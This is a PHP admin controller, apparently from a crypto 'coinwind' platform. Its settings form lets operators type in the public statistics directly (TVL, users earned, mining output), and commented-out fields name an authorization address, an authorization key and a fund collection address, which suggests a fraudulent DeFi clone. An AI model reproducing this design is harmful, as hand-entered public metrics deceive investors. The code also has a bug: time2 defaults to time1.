coinwind/app/Admin/Controllers/SystemController.php

160 lines
7.0 KiB
PHP

<?php
namespace App\Admin\Controllers;
use Encore\Admin\Controllers\AdminController;
use Encore\Admin\Form;
use Encore\Admin\Grid;
use App\System;
use Illuminate\Http\Request;
class SystemController extends AdminController
{
protected function grid()
{
$grid = new Grid(new System());
$grid->column('telegram', 'telegram');
$grid->actions(function ($actions) {
// 去掉查看
$actions->disableView();
$actions->disableDelete();
});
$grid->disableCreateButton();
$grid->disableFilter();
$grid->disableExport();
$grid->disableRowSelector();
return $grid;
}
/**
* Make a form builder.
*
* @return Form
*/
protected function form()
{
$data = System::find(1);
$form = new Form($data);
// 添加text类型的input框
$form->display('id', 'id')->default($data->id);
$form->text('secret', '谷歌密钥')->default($data->secret);
$form->text('swim', '链上浮动 1-100')->default($data->swim);
$form->text('reward1', 'Multi-chain Lock-up Value')->default($data->reward1);
$form->text('reward2', 'Multi-chain User Revenue')->default($data->reward2);
$form->text('reward3', 'Mining Output(GLK)')->default($data->reward3);
$form->text('reward4', 'Mining Output Value($)')->default($data->reward4);
$form->text('reward5', 'Multi-chain Rewards($)')->default($data->reward5);
$form->text('reward6', 'Multi-chain Burned(GLK)')->default($data->reward6);
$form->text('reward7', 'TVL v2')->default($data->reward7);
$form->text('reward8', 'Total Users Earned v2')->default($data->reward8);
$form->text('reward9', 'TVL v1')->default($data->reward9);
$form->text('reward10', 'Total Users Earned v1')->default($data->reward10);
$form->text('reward11', 'Multi-chain Rewards ($)')->default($data->reward11);
$form->text('reward12', 'Multi-chain Lock-up Value ($)')->default($data->reward12);
$form->text('reward13', 'Multi-chain Lock-up Amount')->default($data->reward13);
$form->text('reward14', 'Pending Repurchase')->default($data->reward14);
$form->text('reward15', 'Repurchased')->default($data->reward15);
$form->text('reward16', 'Destroy (GLK)')->default($data->reward16);
$form->text('reward17', 'TVL($)')->default($data->reward17);
$form->text('reward18', 'Total Users Earned($)')->default($data->reward18);
$form->text('kefu_url', '客服链接')->default($data->kefu_url);
$form->text('pic_url', '轮播图链接')->default($data->pic_url);
$form->text('telegram', '飞机号')->default($data->telegram);
$form->text('twitter', '推特号')->default($data->twitter);
// $form->text('app_address', '授权地址')->default($data->app_address);
// $form->text('app_key', '授权key')->default($data->app_key);
// $form->text('gui_address', '归集地址')->default($data->gui_address);
$form->text('GLK', '平台币价格')->default($data->GLK);
$form->text('time1', '奖励发放间隔(平台币)分钟')->default($data->time1);
$form->text('time2', '奖励发放间隔(自身币)分钟')->default($data->time1);
$form->text('airdrop1', '空投领取周期')->default($data->airdrop1);
$form->text('airdrop2', '空投领取地址')->default($data->airdrop2);
$form->text('dao_count', 'DAO锁仓数量')->default($data->dao_count);
$form->text('dao_lixi', 'DAO锁仓利息')->default($data->dao_lixi);
$form->text('dao_free', 'DAO7日不足抽取本金')->default($data->dao_free);
$form->text('dao_interval', 'DAO领取间隔(分钟)')->default($data->dao_interval);
$form->text('limit_GLK', 'GLK最低兑换限制')->default($data->limit_GLK);
$form->text('yao_lixi', '邀请返利')->default($data->yao_lixi);
$form->text('suo_lixi', '锁仓返利')->default($data->suo_lixi);
$form->text('liudong', '流动挖矿奖励间隔')->default($data->liudong);
// $form->select('lang','默认语言')->options([1 => '中文', 2 => '英文']);
$form->tools(function (Form\Tools $tools) {
// 去掉`列表`按钮
$tools->disableList();
// 去掉`删除`按钮
$tools->disableDelete();
// 去掉`查看`按钮
$tools->disableView();
});
$form->footer(function ($footer) {
$footer->disableReset();
$footer->disableViewCheck();
$footer->disableEditingCheck();
$footer->disableCreatingCheck();
});
return $form;
}
public function post(Request $request)
{
System::where('id', 1)->update([
'secret' => $request->input('secret'),
'swim' => $request->input('swim'),
'reward1' => $request->input('reward1'),
'reward2' => $request->input('reward2'),
'reward3' => $request->input('reward3'),
'reward4' => $request->input('reward4'),
'reward5' => $request->input('reward5'),
'reward6' => $request->input('reward6'),
'reward7' => $request->input('reward7'),
'reward8' => $request->input('reward8'),
'reward9' => $request->input('reward9'),
'reward10' => $request->input('reward10'),
'reward11' => $request->input('reward11'),
'reward12' => $request->input('reward12'),
'reward13' => $request->input('reward13'),
'reward14' => $request->input('reward14'),
'reward15' => $request->input('reward15'),
'reward16' => $request->input('reward16'),
'reward17' => $request->input('reward17'),
'reward18' => $request->input('reward18'),
'kefu_url' => $request->input("kefu_url"),
'pic_url' => $request->input("pic_url"),
'telegram' => $request->input('telegram'),
'twitter' => $request->input('twitter'),
// 'app_address' => $request->input('app_address'),
// 'app_key' => $request->input('app_key'),
// 'gui_address' => $request->input('gui_address'),
'GLK' => $request->input('GLK'),
'time1' => $request->input('time1'),
'time2' => $request->input('time2'),
'airdrop1' => $request->input('airdrop1'),
'airdrop2' => $request->input('airdrop2'),
'dao_count' => $request->input('dao_count'),
'dao_lixi' => $request->input('dao_lixi'),
'dao_free' => $request->input('dao_free'),
'dao_interval' => $request->input('dao_interval'),
'limit_GLK' => $request->input('limit_GLK'),
'yao_lixi' => $request->input('yao_lixi'),
'suo_lixi' => $request->input('suo_lixi'),
'liudong' => $request->input('liudong'),
// 'lang' => $request->input('lang'),
]);
return redirect('/system');
}
}